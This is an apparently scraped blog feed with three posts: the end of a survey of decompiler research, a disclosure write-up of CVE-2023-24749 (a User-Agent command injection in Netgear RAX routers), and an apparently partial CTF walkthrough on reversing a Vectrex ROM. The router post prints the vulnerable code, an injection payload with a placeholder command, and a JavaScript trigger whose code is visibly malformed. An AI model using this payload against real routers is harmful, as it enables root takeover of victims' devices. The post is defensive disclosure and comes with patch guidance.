<p>Around 13 papers, three of which I added manually from the 2024 cycle. 
For transparency, I’ll add that I’m a first author or co-author on two of them. 
Of these papers, the following make improvements or investigate <em>binary decompilation</em>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024: USENIX   - Ahoy SAILR! There is No Need to DREAM of C: A Compiler-Aware Structuring Algorithm <span class="k">for </span>Binary Decompilation
2024: USENIX   - A Taxonomy of C Decompiler Fidelity Issues
2024: IEEE S&amp;P - <span class="s2">"Len or index or count, anything but v1"</span>: Predicting Variable Names <span class="k">in </span>Decompilation Output with Transfer Learning
2022: USENIX   - Decomperson: How Humans Decompile and What We Can Learn From It.
2022: USENIX   - Augmenting Decompiler Output with Learned Variable Names and Types.
2016: IEEE S&amp;P - Helping Johnny to Analyze Malware: A Usability-Optimized Decompiler and Malware Analysis User Study.
2015: NDSS     - No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantic-Preserving Transformations.
2013: USENIX   - Native x86 Decompilation Using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring.
</code></pre></div></div>

<p>We are left with only 8 papers since 2000. 
For comparison, if you look at papers with “kernel” in the title, you get a whopping <strong>121</strong> papers. 
If you consider all decompilation papers across all possible conferences (including Top 4), you still only have around 45 papers.
My advisor and I have compiled a <a href="https://docs.google.com/spreadsheets/d/162J8Qcev10poAgaXCECUFovQNVd96sJ1AwJC7XDtFPg/edit#gid=0">list</a> of all those papers.</p>

<p>It’s easy to see that decompilation research has been a rather slow field for the last 20 years with academics. 
I think most people would find this surprising since decompilation is both important to security researchers and still has many issues. 
You can find many examples across the web of IDA Pro or Ghidra failing to decompile code correctly.</p>

<p>Generally, I think the academic community never picked up decompiler research intensely because it was difficult to get a working developable decompiler. 
Recall, that it is not until 2019 that the NSA’s <a href="https://ghidra-sre.org/">Ghidra</a> decompiler is made public, the first open-source decompiler released by a well-funded organization.</p>

<h3 id="the-structuring-papers">The Structuring Papers</h3>

<p>Of all the decompiler papers, only four are on control flow strucuturing:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024: USENIX   - Ahoy SAILR! There is No Need to DREAM of C: A Compiler-Aware Structuring Algorithm <span class="k">for </span>Binary Decompilation
2020: Asia CCS - A Comb <span class="k">for </span>Decompiled C Code
2015: NDSS     - No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantic-Preserving Transformations. 
2013: USENIX   - Native x86 Decompilation Using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring.
</code></pre></div></div>

<p>Note, <a href="https://rev.ng/downloads/asiaccs-2020-paper.pdf">“A Comb for Decompiled C Code”</a> is not in the Top 4, however, it made contributions significant enough to mention. 
Adding to the difficulty of working on decompilers, only two (2015 and 2024) of these four works had open-source implementations.
Additionally, the 2015 work (DREAM) did not make its code public until <a href="https://api.github.com/repos/CodeIntelligenceTesting/dream">2020</a>, and it only worked on top of IDA Pro 6.6.</p>

<p>It’s easy to see why these advancements took so long when you consider each researcher may need to remake an entire decompiler. 
The future is not bleak though! There are open-source decompilers now and we have made progress in structuring, which we will talk about in Part 2!</p>

<h2 id="wrap-up">Wrap Up</h2>

<p>To summarize, there has been growth in the decompiler community, but it has been much slower than others. 
Aside from control flow structuring, there has been significant work in using <a href="https://www.atipriya.com/files/papers/varbert_oakland24.pdf">machine learning to recover symbols</a>, <a href="https://www.usenix.org/conference/usenixsecurity22/presentation/burk">human studies to inform decompiler developers</a>, and some preliminary work in <a href="https://arxiv.org/abs/2212.08950">using machine translation for code output</a>. 
Control flow structuring though is still developing and has many problems to overcome. 
We explore those problems, why they exist, modern approaches, and what the future may look like for decompilers in part 2 of this post series.</p>

<p>If you enjoyed this post, I hope you’ll upvote or like it on some <a href="https://twitter.com/mahal0z">social media</a> platform, since quantitating impact is always nice for researchers :). 
I’ve also integrated a funny GitHub comment system if you like to use GitHub for interaction or stars. 
Lastly, I’d like to thank the <a href="https://www.darpa.mil/program/assured-micropatching">DARPA Assured MicroPatching program (AMP)</a> for sponsoring this series of research at Arizona State University, which funds my PhD. 
Until next time, see you in <a href="/dec-history-pt2">Part 2</a>!</p>]]></content><author><name></name></author><category term="research" /><summary type="html"><![CDATA[A two-part series on the history of decompiler research and the fight against the unsolved control flow structuring problem. In part 1, we revisit the history of foundational decompilers and techniques, concluding on a look at modern works. In part 2, we deep-dive into the fundamentals of modern control flow structuring techniques, and their limitations, and look to the future.]]></summary></entry><entry><title type="html">PwnAgent: A One-Click WAN-side RCE in Netgear RAX Routers with CVE-2023-24749</title><link href="https://mahaloz.re/2023/02/25/pwnagent-netgear.html" rel="alternate" type="text/html" title="PwnAgent: A One-Click WAN-side RCE in Netgear RAX Routers with CVE-2023-24749" /><published>2023-02-25T00:00:00+00:00</published><updated>2023-02-25T00:00:00+00:00</updated><id>https://mahaloz.re/2023/02/25/pwnagent-netgear</id><content type="html" xml:base="https://mahaloz.re/2023/02/25/pwnagent-netgear.html"><![CDATA[<p>Last December, my colleagues and I from <a href="https://sefcom.asu.edu/T0">SEFCOM T0</a> competed in pwn2own 2022 where we <a href="https://twitter.com/mahal0z/status/1600322330970173441?s=20">demonstrated an exploit to get RCE</a> in a Synology NAS. Although we were proud of this complicated exploit, we had a <em>much</em> simpler, but more impactful, bug in another target that we never got to demo. That target was the <a href="https://www.netgear.com/support/product/rax30.aspx">Netgear Nighthawk RAX30 Router</a>, one of the latest and greatest models you can buy. Days before the competition, Netgear patched the bug, and several others, in the <em>RAX30 Router</em>, the only model at pwn2own, eliminating our submission.</p>

<p>Netgear classified this <a href="https://kb.netgear.com/000065451/Security-Advisory-for-Multiple-Vulnerabilities-on-the-RAX30-PSV-2022-0028-PSV-2022-0073">patch (1.0.9.92)</a> as a LAN-side RCE, though it’s unclear which bugs they are referring to in it. However, there is a <a href="https://www.synacktiv.com/en/publications/cool-vulns-dont-live-long-netgear-and-pwn2own.html">blog post by Synacktiv</a> discovering this bug for a LAN-side exploit, which corresponds to <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-47208">CVE-2022-47208</a>. It’s important to note that many pwn2own 2022 teams found this bug at the same time, but until now, none have mentioned its use on WAN-side.</p>

<p>This bug can be easily exploited on WAN-side. Additionally, this bug <em>may still</em> be present in the latest firmware of some of the <strong>other</strong> RAX models. In an exploration of some recent adjacent RAX versions, it’s clear the code is shared (including the affected binary). We believe Netgear knows about these bugs in the other firmware, but has delayed in pushing a fix for a while. By the time of this post, they may be fixed. In any event, CVE-2023-24749 refers to this WAN-side accessible bug, with specifics on what to look out for.</p>

<p>Curious if your router is one of these affected models? Read on, we have a live demo running. Before talking about any of the <em>how</em>, let’s talk about the impacts.</p>

<h2 id="exploit-impacts">Exploit Impacts</h2>
<p>To exploit this bug on a victim router the attacker needs to do two things:</p>
<ol>
  <li>Setup a controlled website hosted on port 80</li>
  <li>Get the victim to visit the attacker’s site from behind the victim’s router</li>
</ol>

<p>This results in the attacker getting a RCE on the victim’s router. For most RAX routers, this RCE is root, giving the attacker full control of your router. In the unfortunate scenario that you run nginx behind your vulnerable RAX router, this bug can be exploited with <strong>0</strong> interaction from you.</p>

<p>For others newer to hacking routers, a root shell on a router (over remote) can allow an attacker to snoop on everything you visit (like a bad ISP), read unencrypted traffic, mess with your DNS, and <a href="https://nordsecurity.com/blog/what-happens-when-router-is-hacked">do other nasty things</a>.</p>

<p>We don’t know how many routers this affects, but, we do know this binary is shared by many. At the very least, if you are running a Netgear Nighthawk RAX30 Router that has not been updated since December of 2022, you are WAN-side pwnable.</p>

<h2 id="exploit-demo">Exploit Demo</h2>
<p>We’ve created a fun (and safe) way to know if your router is pwned. Visit this ☢️ <a href="http://pwn.mahaloz.re">http://pwn.mahaloz.re</a> ☢️. If your router is vulnerable, it will shut your router off (and that is all). If you can refresh the page after visiting, it means your router is safe (hopefully).</p>

<p>I also demoed the LAN-side exploit of this bug at <a href="https://youtu.be/-J8fGMt6UmE?t=23304">CactusCon 2023</a> if you just want to watch a video :). Alright, let’s get down to what this powerful bug is…</p>

<h2 id="the-bug">The Bug</h2>
<p>This bug was initially discovered by my teammate <a href="https://twitter.com/cl4sm">@clasm</a>, then reversed by me, and assisted by the rest of T0 team. It’s important to note that this bug was found by Synacktiv before we did, but it was not patched at the time or assigned a CVE. For the rest of this blog, we will only reference the layout of the RAX30 firmware, as things may be slightly different in each model. The bug exists in a nonchalant binary in <code class="language-plaintext highlighter-rouge">/bin/</code> called <code class="language-plaintext highlighter-rouge">puhttpsniff</code>.</p>

<p>The <code class="language-plaintext highlighter-rouge">puhttpsniff</code> binary is responsible for logging tcp traffic on port 80. It will <strong>only</strong> log traffic that is leaving a local IP. This means the only traffic that gets recorded will be from devices already on the router.</p>

<p>Every packet that meets these requirements will be logged. It will log the <code class="language-plaintext highlighter-rouge">UserAgent</code> and the IP. The logging is done using an <a href="https://serverfault.com/questions/610989/linux-nflog-documentation-configuration-from-c">NFLOG</a> callback in user-space. That callback is implemented in a single function in <code class="language-plaintext highlighter-rouge">puhttpsniff</code>. Here is <strong>all</strong> the code of the callback function called when a packet meets the above requirements:</p>

<h3 id="function-0x10ff8">Function 0x10FF8</h3>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="o">*</span><span class="kr">__fastcall</span> <span class="nf">injection_func</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">header_data</span><span class="p">,</span> <span class="kt">int</span> <span class="n">header_len</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a4</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">result</span><span class="p">;</span> <span class="c1">// r0</span>
  <span class="kt">int</span> <span class="n">v8</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span> <span class="c1">// [sp+0h] [bp-318h] BYREF</span>
  <span class="kt">char</span> <span class="n">v9</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="c1">// [sp+100h] [bp-218h] BYREF</span>
  <span class="kt">char</span> <span class="n">v10</span><span class="p">[</span><span class="mi">508</span><span class="p">];</span> <span class="c1">// [sp+104h] [bp-214h] BYREF</span>

  <span class="n">memset</span><span class="p">(</span><span class="n">v8</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">v8</span><span class="p">));</span>
  <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">v9</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">memset</span><span class="p">(</span><span class="n">v10</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">v10</span><span class="p">));</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">header_len</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">header_data</span><span class="p">[</span><span class="n">header_len</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">result</span> <span class="o">=</span> <span class="n">strstr</span><span class="p">(</span><span class="n">header_data</span><span class="p">,</span> <span class="s">"User-Agent: "</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">result</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">_isoc99_sscanf</span><span class="p">(</span><span class="n">result</span> <span class="o">+</span> <span class="mi">12</span><span class="p">,</span> <span class="s">"%255[^</span><span class="se">\r\n</span><span class="s">]"</span><span class="p">,</span> <span class="n">v8</span><span class="p">);</span>
      <span class="n">sprintf</span><span class="p">(</span><span class="n">v9</span><span class="p">,</span> <span class="s">"pudil -i %s </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s">"</span><span class="p">,</span> <span class="n">a4</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">v8</span><span class="p">);</span>
      <span class="k">return</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">system</span><span class="p">(</span><span class="n">v9</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The entire function is no more than 25 lines and has a glaring bug in the way <code class="language-plaintext highlighter-rouge">User-Agent</code> is used. The key lines are:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">_isoc99_sscanf</span><span class="p">(</span><span class="n">result</span> <span class="o">+</span> <span class="mi">12</span><span class="p">,</span> <span class="s">"%255[^</span><span class="se">\r\n</span><span class="s">]"</span><span class="p">,</span> <span class="n">v8</span><span class="p">);</span>
<span class="n">sprintf</span><span class="p">(</span><span class="n">v9</span><span class="p">,</span> <span class="s">"pudil -i %s </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s">"</span><span class="p">,</span> <span class="n">a4</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">v8</span><span class="p">);</span>
<span class="k">return</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">system</span><span class="p">(</span><span class="n">v9</span><span class="p">);</span>
</code></pre></div></div>

<p>Yes, it’s a textbook command injection. You only need to escape the quotes, which can be triggered like so:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">'User-Agent: "; {evil_command_here};"'</span>
</code></pre></div></div>

<p>If you were paying attention earlier, you might recall that this should only be triggerable via LAN like the original Netgear report:</p>
<blockquote>
  <p>“It will only log traffic that is leaving a local IP.”</p>
</blockquote>

<p>How could you, from the outside, control the UserAgent of a device on the inside of the router? Thanks to the web wisdom of <a href="https://adamdoupe.com/">Adam Doupe</a>, who was only passing by when we mentioned the bug, we found that JavaScript can request arbitrary UserAgent responses from executors. JavaScript, when loaded by your browser, can ask you to send certain requests that have server-requested UserAgents.</p>

<p>Tested on the latest Firefox as of this post, you can request a custom UserAgent from visitors with the following JavaScript:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span><span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nb">navigator</span><span class="p">,</span> <span class="dl">'</span><span class="s1">userAgent</span><span class="dl">'</span><span class="p">,</span> 
    <span class="p">}});</span>
    <span class="kd">const</span> <span class="nx">xhr</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">()</span>
    <span class="nx">xhr</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">GET</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">)</span>
    <span class="nx">xhr</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="dl">"</span><span class="s2">User-Agent</span><span class="dl">"</span><span class="p">,</span> <span class="dl">'</span><span class="s1">"; {evil_command_here};"</span><span class="dl">'</span><span class="p">);</span>
    <span class="nx">xhr</span><span class="p">.</span><span class="nx">send</span><span class="p">()</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>With this in mind, the execution of the exploit goes something like this:</p>

<ol>
  <li>A victim get’s on his router and is assigned an IP: <code class="language-plaintext highlighter-rouge">192.168.1.2</code></li>
  <li>The victim goes on Firefox and clicks link <code class="language-plaintext highlighter-rouge">malicious.site</code></li>
  <li><code class="language-plaintext highlighter-rouge">malicious.site</code> send <code class="language-plaintext highlighter-rouge">192.168.1.2</code> the code of the site to render locally</li>
  <li><code class="language-plaintext highlighter-rouge">192.168.1.2</code> sees JavaScript and executes the code</li>
  <li><code class="language-plaintext highlighter-rouge">192.168.1.2</code> sends an attacker controlled UserAgent back to <code class="language-plaintext highlighter-rouge">malicious.site</code></li>
  <li>In transit, the victim router records <code class="language-plaintext highlighter-rouge">192.168.1.2</code> UserAgent and gets pwned</li>
</ol>

<p>Take note that this also works for devices (or services) that just forward packets. In the case of an nginx server, which forwards packets, an attacker can simply send a custom UserAgent directly to the forwarding service. The service sends out the packet using a local IP which will be logged.</p>

<p>This bug is very simple to understand, but, in practice, hard to automatically find. In the case of fuzzing, you would rapidly trigger this bug if you rapidly sent randomized packets to the router, but detecting that you triggered it is hard. If you did not know this was a command injection, it would look like nothing happened. The <code class="language-plaintext highlighter-rouge">system</code> called would go undetected if you did not already have full system emulation, AND, the <code class="language-plaintext highlighter-rouge">puhttpsniff</code> would not crash.</p>

<p>I thought the simplicity of exploitation for this bug, and the strange place it occurred, warranted a fun bug name. I named it <code class="language-plaintext highlighter-rouge">PwnAgent</code>, since I really never thought a device would mess up parsing of the UserAgent.</p>

<h2 id="protecting-yourself">Protecting Yourself</h2>
<p>If you find yourself to be one of the unlucky folk with an unpatched RAX model, you have three options:</p>
<ol>
  <li>Stop using the internet until Netgear patches it.</li>
  <li>Drop all packets leaving or entering containing a malicious-looking UserAgent (contains unusual chars).</li>
  <li>Patch your <code class="language-plaintext highlighter-rouge">puhttpsniff</code> binary by downloading the firmware, patching, and reflashing to your router.</li>
</ol>

<p>If you choose 3, here is a nice and simple patch to apply to <code class="language-plaintext highlighter-rouge">puhttpsniff</code>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">binary</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">"puhttpsniff"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="n">binary</span><span class="p">[</span><span class="mh">0x1094</span><span class="p">:</span><span class="mh">0x1098</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x90</span><span class="p">]</span><span class="o">*</span><span class="mi">4</span> <span class="c1"># NOPs
</span><span class="nb">open</span><span class="p">(</span><span class="s">"puhttpsniff_new"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">binary</span><span class="p">)</span>
</code></pre></div></div>
<p>It will patch out the <code class="language-plaintext highlighter-rouge">system</code> call that allows the injection since this binary has no other purpose but logging.</p>

<h2 id="bug-discovery">Bug Discovery</h2>

<p>At SEFCOM, we had a bunch of automated tooling and techniques to discover bugs that we used for our targets; however, this bug was ironically discovered manually while waiting for those tools.</p>

<p>Since we already had a testing shell on the device using <code class="language-plaintext highlighter-rouge">telnetenable</code>, clasm decided to look at which binaries we running by default on the router. He opened each of the binaries and did a quick search for use of <code class="language-plaintext highlighter-rouge">system</code>. One of the first binaries he opened was <code class="language-plaintext highlighter-rouge">puhttpsniff</code>. On <strong>October 4th</strong> he found the bug:</p>

<p><img src="/assets/images/research/pwnagent/pwnagent_1.png" alt="" /></p>

<p>Then by <strong>October 5th</strong>, we had a full end-to-end LAN exploit working after reversing how packets hit the callback function which we originally thought was un-triggerable:</p>

<p><img src="/assets/images/research/pwnagent/pwnagent_2.png" alt="" /></p>

<p>It wasn’t until later that month that we realized the exploit could be elevated to a WAN side attack.</p>

<h2 id="conclusion">Conclusion</h2>

<p>I think there are a few interesting takeaways here. First, there are still <em>many</em> trivial bugs that can be found with a fast decompiler and <code class="language-plaintext highlighter-rouge">grep</code> in embedded devices. Second, although this bug is easy to understand, automated analysis for embedded devices is still a <em>long</em> way away from being able to detect a bug like this. Recall, to detect this bug you needed:</p>
<ol>
  <li>Full system emulation (hard)</li>
  <li>Automated fuzz harnessing (hard)</li>
</ol>

<p>At least publicly, we have neither of those things. To make the Internet of Things safer, we need to make moves in increasing automated analysis of firmware. If you know anyone with a Netgear router, please tell them to update their router to be on the safe side.</p>

<h2 id="acknowledgments">Acknowledgments</h2>
<ul>
  <li><a href="https://sefcom.asu.edu/">SEFCOM</a>: especially Wil and T=0.</li>
  <li><a href="https://adamdoupe.com/">Adam Doupe</a>: for giving us the idea to look into JavaScript.</li>
  <li><a href="https://twitter.com/CatatonicPrime">@CatatonicPrime</a>: TBA</li>
</ul>]]></content><author><name></name></author><category term="bug-hunting" /><summary type="html"><![CDATA[A breakdown of a bug SEFCOM T0 and I exploited to achieve a WAN-side RCE in some Netgear RAX routers for pwn2own 2022. The bug is a remotely accessible command injection due to bad packet logging, cataloged as CVE-2023-24749.]]></summary></entry><entry><title type="html">Tips and tricks for reversing foreign architecture games</title><link href="https://mahaloz.re/2022/09/23/0ctf22-rev.html" rel="alternate" type="text/html" title="Tips and tricks for reversing foreign architecture games" /><published>2022-09-23T00:00:00+00:00</published><updated>2022-09-23T00:00:00+00:00</updated><id>https://mahaloz.re/2022/09/23/0ctf22-rev</id><content type="html" xml:base="https://mahaloz.re/2022/09/23/0ctf22-rev.html"><![CDATA[<p>If you’ve played enough CTF or lived long enough as a curious Computer Person, it’s likely you’ve run into a device/piece of software that is built on an architecture you’ve never reversed before. In this year’s edition of <a href="">0ctf</a>, I encountered something similar, and I thought I’d make a little post about some common tricks I’ve used in these situations based on this challenge. As usual, I did this challenge with various people who stopped by in the Shellphish discord, but mostly a newer recruit to the team, <a href="https://twitter.com/notzammo">@zammo</a>.</p>

<h2 id="the-challenge">The Challenge</h2>
<p>In this challenge, we’re provided with only a single file called <a href="https://github.com/shellphish/writeups/blob/main/challenges/rev/m68k/0CTF22-Vintage/game.bin">game.bin</a>. The description for the challenge only says: “back to the 90s.”</p>

<p>Like any random file that you’re given, it’s best to see if <code class="language-plaintext highlighter-rouge">file</code> has any knowledge of it:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>λ file game.bin
game.bin: Vectrex ROM image: <span class="s2">"VECTOR_GAME</span><span class="se">\2</span><span class="s2">00"</span>
</code></pre></div></div>

<p>Seeing as it does, our introduction begins with a completely foreign device and architecture.</p>

<h2 id="the-vectrex-console">The Vectrex Console</h2>
<p>In times like these, it’s always best to start with Wikipedia–it tends to be a great source of general knowledge for tech people. The <a href="https://en.wikipedia.org/wiki/Vectrex##Technical_specifications">Vectrex</a> page already tells us the most important thing: that the console’s circuit board, i.e., its architecture, is a <a href="https://en.wikipedia.org/wiki/Motorola_6809">Motorola 6809</a>. I’ve heard other CTFers refer to this arch as m6809.</p>

<p><img src="/assets/images/0ctf22-rev/pic0.jpg" alt="" /></p>

<p>m6809, in this case, is an 8bit architecture that supports some 16bit operations, which means we will likely only ever be dealing with 1 byte at a time. Mixed 8 and 16 bit operations are like <a href="https://stackoverflow.com/questions/10638130/what-is-the-arm-thumb-instruction-set">ARM Thumb Mode</a>. The game we’re given is essentially a program (ROM) for this system which is full of m68k instructions wrapped by some assets and loading information.</p>

<h2 id="reversing-questions">Reversing Questions</h2>
<p>Understanding the very basics of this program is essential, but it still leaves a lot of questions. These questions are usually the same questions I ask whenever reversing something not mainstream. Most of them are inspired by my mentor <a href="https://ruoyuwang.me/">@fish</a>.</p>

<ol>
  <li>What tools did the author (and normal devs of the platform) use to make this program?</li>
  <li>If this is a program wrapped in something deeper, where is the entry point? How do emulators find the entry point?</li>
  <li>Do any revealing strings tell us more about the program’s origins?</li>
  <li>If the flag is not a hardcoded string, how are they hiding it?</li>
</ol>

<p>We’ll attack these in order to get a better understanding of the program.</p>

<h2 id="tooling">Tooling</h2>
<p>After some google searching with phrases like <a href="https://www.google.com/search?q=vectrex+debugger+ide">“vectrex debugger ide,”</a> a <a href="http://vide.malban.de/">blog</a> by a somewhat active developer shows us what people use to develop in this platform: <a href="http://vide.malban.de/download">VIDE</a>: Vecrex Integrated Development Environment. Blogs from active developers of one-offs like this are usually gold mines for finding information on how to understand this platform.</p>

<p>The “IDE” is somewhat archaic, but hey, it works!
<img src="/assets/images/0ctf22-rev/pic1.png" alt="" /></p>

<p>The IDE allows us to step-debug, dump memory, and even modify memory and registers as it runs! It’s a full-on debugger that also gives us insight into what the disassembly looks like when correctly assembled. With this debugger and an <a href="https://colorcomputerarchive.com/repo/Documents/Books/Motorola%206809%20and%20Hitachi%206309%20Programming%20Reference%20(Darren%20Atkinson).pdf">m6809 reference sheet</a> we found from googling, we are set! A reference sheet is needed when you don’t understand how an arch works.</p>

<p>During this scouting phase of tools, we also found a simple emulator called <a href="https://github.com/jhawthorn/vecx">vecx</a>, which was preferred because of how easy the code was to understand. The emulator even included an entire emulation implementation of <a href="https://github.com/jhawthorn/vecx/blob/master/e6809.c">m6809 in simple C</a>. This was useful because it also allowed us to debug it quickly and find that the entry point of the program is <code class="language-plaintext highlighter-rouge">0x1e</code>. You can reproduce this by setting a breakpoint in the very first <code class="language-plaintext highlighter-rouge">read8</code> of the program. I’d say it’s always helpful to have a simple reference to see how other noobs approached the same problem.</p>

<p>With that squared away, we now understand how other people develop in this arch. The last part we need is some form of static analysis for this ROM. In most cases like this, there will not be some plugin readily available for your decompiler. At this point, you can decide whether to implement an entire loader, which unwraps the object and tells the decompiler where the code begins, or manually mark the code yourself. In <a href="https://nevesnunes.github.io/blog/2022/09/19/CTF-Writeup-0CTF-2022-vintage-part1+2.html##part-2">another writeup</a> of this same challenge, which is done spectacularly, the author invests his time in writing his own <a href="https://github.com/nevesnunes/ghidra-vectrex-loader">loader for Ghidra</a>.</p>

<h2 id="static-analysis">Static Analysis</h2>
<p>When running the game, as shown in the IDE picture, it simply asks for a password. It’s eight chars, outside the bruteforceable range for a CTF. At this moment, we should be thinking about two more questions:</p>
<ol>
  <li>Is verification time constant?</li>
  <li>Is each char verification dependent on the entire password?</li>
</ol>

<p>Answer 1 is tricky because we can only debug this program once it is being emulated, which makes it extremely hard to detect changes in time when verifying something like <code class="language-plaintext highlighter-rouge">AAAAAAAA</code> and <code class="language-plaintext highlighter-rouge">BAAAAAAA</code>. Instead, we keep ##2 in mind.</p>

<p>We will be using IDA for static analysis, but you should be able to do this in Ghidra or Binja. For IDA, we need to manually mark the start of the code section because IDA has no knowledge of this binary format; however, it does understand m6809 instructions. In IDA, going to the EP we discovered earlier, <code class="language-plaintext highlighter-rouge">0x1e</code>, typing <code class="language-plaintext highlighter-rouge">C</code> while over it, we get disassembled instructions with general function boundary guesses from IDA.</p>

<p>We are left with the following functions:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sub_974</span>	
<span class="n">sub_A5F</span>	
<span class="n">sub_1470</span>
<span class="n">sub_14D7</span>
<span class="n">sub_1A63</span>
<span class="n">sub_1C60</span>
<span class="n">sub_219F</span>
<span class="n">sub_2549</span>
<span class="n">sub_2851</span>
<span class="n">sub_2D26</span>
<span class="n">sub_2F3C</span>
<span class="n">sub_3274</span>
<span class="n">sub_33C6</span>
<span class="n">sub_3415</span>
<span class="n">sub_350E</span>
<span class="n">sub_3577</span>
<span class="n">sub_35A5</span>
<span class="n">sub_4080</span>
<span class="n">sub_4085</span>
<span class="n">sub_4094</span>
<span class="n">sub_40A5</span>
<span class="n">sub_40AC</span>
<span class="n">sub_40BF</span>
<span class="n">sub_40F4</span>
</code></pre></div></div>

<p>Decompilation won’t be an option here, but we can still use the CFG and XREFS to get a better understanding of this program. To better collaborate with my teammates and track our progress throughout the challenge, I used a tool I write called <a href="https://binsync.net">binsync</a>. Through <a href="https://github.com/mahaloz/bs-0ctf22-vintage/commits/binsync/mahaloz">this public repo</a>, you can see <em>what</em> we changed and <em>when</em> in our decompilers.</p>

<p>At this point in reversing, we may be tempted to just jump into the entry point and <em>go off</em>, but a wise reverser once told me:</p>
<blockquote>
  <p>“Don’t start where the program starts. Start where the interesting things start!”</p>
</blockquote>

<p>At first, this seems like a stupid quote, but I promise it has actual application. A generally good piece of advice for reversing any program is finding the code location of output you associate to a state and then finding beacons. Beacons are structures and patterns that you recognize from programming or reversing. Recently, they have been a hot topic in research of <a href="https://www.usenix.org/system/files/sec22-mantovani.pdf">qualitative analysis of reverse engineering</a>. In those papers, they have recently shown that a breadth-first-search RE process that is both quick and precise tends to be the most effective when reversing.</p>

<p>What does this all have to do with getting the password? Well, we know the state we <em>don’t want</em>.</p>

<p><img src="/assets/images/0ctf22-rev/pic2.png" alt="" /></p>

<p>We are looking for a single control flow point that changes access to strings based on some symbolic value. After rapid clicking through the entry function callees, we find only two places that compare a value and then take wildly different branches. When I say wild, I mean things involving loops, string construction, and what we assume is a library call to print. The interesting one is here:</p>
<pre><code class="language-asm">loc_2FA3:                              
ldb     3,s
cmpb    ##1
lbeq    loc_30A5
ldb     ##8
leax    ,y
jsr     sub_1A63
tstb
lbne    loc_3185
</code></pre>

<p>It calls the function at location <code class="language-plaintext highlighter-rouge">0x1a63</code>, checks if it’s <code class="language-plaintext highlighter-rouge">1</code>, then branches to places with a series of calls, loops, and printouts if correct. If false, it’s a quick succession to what looks like an exit. The hunch here is that we’ve found some kind of state authenticator.</p>

<p>Recall our password is 8 bytes long. We look into the CFG of this function:
<img src="/assets/images/0ctf22-rev/pic3.png" alt="" /></p>

<p>If that is hard to see, it looks like eight things are being compared. If one fails, the compare chain ends early and outputs <code class="language-plaintext highlighter-rouge">0</code>. If it gets to the end, it outputs <code class="language-plaintext highlighter-rouge">1</code>. Since we can see all the addresses being compared, we throw them in the debugger and confirm they are what we think they are. Dynamic analysis serves as a way for us to validate assumptions we made based on static analysis.</p>

